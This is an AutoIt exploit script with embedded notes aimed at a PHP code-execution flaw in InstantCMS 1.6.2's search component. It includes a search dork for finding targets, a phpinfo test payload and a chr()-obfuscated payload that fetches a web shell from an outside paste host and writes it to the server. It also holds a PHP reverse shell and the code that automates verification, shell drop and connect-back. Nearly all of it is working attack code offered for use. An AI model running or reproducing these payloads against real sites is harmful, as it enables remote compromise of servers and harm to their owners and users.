#NoTrayIcon
#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_Outfile=exploit.exe
#AutoIt3Wrapper_UseUpx=n
#AutoIt3Wrapper_Change2CUI=y
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
#include <Inet.au3>
#include <String.au3>
#cs
Demo vid: http://youtu.be/j_RIPh-nYpY
Print Screen: http://s34-temporary-files.radikal.ru/a9d69c791f054e7f9c9bd469fc0b43fd/-929206895.png
Download: http://www.instantcms.ru/load/url=/download/instantCMS_20100515_v1.6.2.zip
Or:
http://www.instantcms.ru/download.html
Dork: InstantCMS © 2007-2010
In Wild i found 1.7 versions too which is vulnerable too.
<?php
//instantCMS_20100515_v1.6.2.zip/components/search/frontend.php
/*********************************************************************************************/
// //
// InstantCMS v1.6 (c) 2010 FREEWARE //
// http://www.instantcms.ru/, info@instantcms.ru //
// //
// written by Vladimir E. Obukhov, 2007-2010 //
// //
/*********************************************************************************************/
// SNIP//
if ($look == 'phrase'){
$against .= '\"'.$query.'\"';
}
//RUN SEARCH PROCESSORS
//get list of components and look for search processor in component folder
$sql = "SELECT link FROM cms_components";
$rs = $inDB->query($sql) ;
if ($inDB->num_rows($rs)){
while ($component = $inDB->fetch_assoc($rs)){
$spfile = $_SERVER['DOCUMENT_ROOT'].'/components/'.$component['link'].'/psearch.php';
if (file_exists($spfile)){
if (in_array($component['link'], $cfg['comp'])){
include $spfile;
eval('search_'.$component['link'].'("'.$against.'", "'.$look.'", "'.$mode.'");');
}
}
}
}
// EOF SNIP //
Notice: eval() cunstruction.
Exploitation:
Payload: ${echo phpinfo()}
site.tld/index.php?view=search&query=${echo phpinfo()}&look=allwords
Drop shell?NP.
=======================================================================================
<?php
/*
Simple Payload generator
*/
$str='http://search.tld/andfind.txt';//shell url. you'll drop it from server which is in under your control.//
echo '<pre>' . PHP_EOL;
for($z=0;$z<=strlen($str)-1;$z++)
{
$z==strlen($str)-1 ? $plg='chr(' . ord(substr($str,$z,1)) .')' : $plg='chr(' . ord(substr($str,$z,1)) .')' . '.';echo $plg;
}?>
=======================================================================================
Then drop it using the following way:
${echo file_put_contents(PAYLOAD1,file_get_contents(PAYLOAD2))}
As reverse shell uses:
<?php
error_reporting(0);
set_time_limit(0);
$ip=trim((string)$_SERVER['REMOTE_ADDR']);
$port=preg_replace('/[^0-9]/i','',(string)$_SERVER['HTTP_USER_AGENT']);
if (empty($port)){ die('<!-- Welcome BH -->');}
$socket=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);$responce=socket_connect($socket,$ip,$port);
$hello.=PHP_EOL . 'W00T: ';socket_write($socket,$hello,strlen($hello));
while($alive=@socket_read($socket, 31337))
{$responce=`$alive`;$responce.=PHP_EOL .'W00T: ';socket_write($socket,$responce,strlen($responce));}socket_close($socket);
#ce
$msg_usage="Command Line Plizzzz => " & @CRLF & "Usage: " & @ScriptName & ' http://site.tld' & ' yournetcatport' & @CRLF
$fakeua='Mozilla/ (compatible; MSIE ; Windows NT ; WOW Trident/) ';
$vulnurl='/index.php?view=search&query=Shoutz)&look=allwords';
$kissyou='${echo file_put_contents(chr(105).chr(110).chr(99).chr(108).chr(117).chr(100).chr(101).chr(115).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112),file_get_contents(chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(119).chr(119).chr(119).chr(46).chr(104).chr(101).chr(121).chr(112).chr(97).chr(115).chr(116).chr(101).chr(105).chr(116).chr(46).chr(99).chr(111).chr(109).chr(47).chr(100).chr(111).chr(119).chr(110).chr(108).chr(111).chr(97).chr(100).chr(47).chr(48).chr(86).chr(49).chr(56)))}';
$pissagainst_wind='<!-- Welcome BH -->';
$triptrop=@CRLF & _StringRepeat('#',62) & @CRLF;
#cs
ConsoleWrite('debug ' & StringReplace($vulnurl,'Shoutz)','${echo phpinfo()}'));
exit;
#ce
ConsoleWrite($triptrop & '# instantCMS_20100515_v1.6.2 PHP Code Execution Exploit # ' & @CRLF & _
'# *Via Reverse Shell* #' & @CRLF & _
'# Usage: ' & @ScriptName & ' http://site.tld' & ' yournetcatport #' & @CRLF & _
'# /AkaStep #' & $triptrop)
if $CmdLine[0] <> 2 Then
;ConsoleWrite(@CRLF & _StringRepeat('#',62) & @CRLF & $msg_usage & @CRLF & _StringRepeat('#',62) & @CRLF);
MsgBox(64,"",$msg_usage);
exit;
EndIf
$rsite=$CmdLine[1];
$PayloadUA=$CmdLine[2];
ConsoleWrite($triptrop & '[+] Verifying vulnerability [+]' & $triptrop);
HttpSetUserAgent($fakeua);
$isvulnerable=_INetGetSource($rsite & StringReplace($vulnurl,'Shoutz)','${echo phpinfo()}'),True);
if StringInStr($isvulnerable,'allow_url_fopen') Then
ConsoleWrite($triptrop & '[+] WoHoo! Remote Site Is vulnerable! [+]' & $triptrop);
Else
ConsoleWrite($triptrop & '[-] Sorry Dude:( Not vulnerable:( [-]' & $triptrop);
exit;
EndIf
#cs
Time To get reversel shell!
First we'll drop our shell as includes/a.php
Then we'll check for shell existense.
If exists then we'll try bc to us.
${echo file_put_contents(chr(105).chr(110).chr(99).chr(108).chr(117).chr(100).chr(101).chr(115).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112),file_get_contents(chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(119).chr(119).chr(119).chr(46).chr(104).chr(101).chr(121).chr(112).chr(97).chr(115).chr(116).chr(101).chr(105).chr(116).chr(46).chr(99).chr(111).chr(109).chr(47).chr(100).chr(111).chr(119).chr(110).chr(108).chr(111).chr(97).chr(100).chr(47).chr(48).chr(86).chr(49).chr(56)))}&look=allwords
#ce
#cs
EXPLOITING!
#ce
HttpSetUserAgent($fakeua)
InetGet($rsite & StringReplace($vulnurl,'Shoutz)',$kissyou),'',1)
sleep(Random(1500,3000,1));//random sleep for few seconds
#cs
Now checking for existence of our dropped shell.
#ce
HttpSetUserAgent($fakeua)
$dont=_INetGetSource($rsite & '/includes/a.php',True)
if StringInStr($dont,$pissagainst_wind) Then
ConsoleWrite($triptrop & '[+] Seems We Are going To Travel xD! [+]' & $triptrop)
Else
ConsoleWrite($triptrop & "[+] Can't find Shell! Try to exploit Manually! [+]" & $triptrop);
exit;
EndIf
#cs
And Finally Getting Reverse Shell
#ce
HttpSetUserAgent($PayloadUA)
InetGet($rsite & '/includes/a.php','',1,1)
ConsoleWrite($triptrop & "[+] Happy Travel! [+]" & $triptrop);
exit;
#cs
================================================
KUDOSSSSSSS
================================================
packetstormsecurity.org
packetstormsecurity.com
packetstormsecurity.net
securityfocus.com
cxsecurity.com
security.nnov.ru
securtiyvulns.com
securitylab.ru
secunia.com
securityhome.eu
exploitsdownload.com
osvdb.com
websecurity.com.ua
1337day.com
itsecuritysolutions.org
waraxe.us
exploit-db.com
insecurety.net
================================================
/AkaStep
#ce
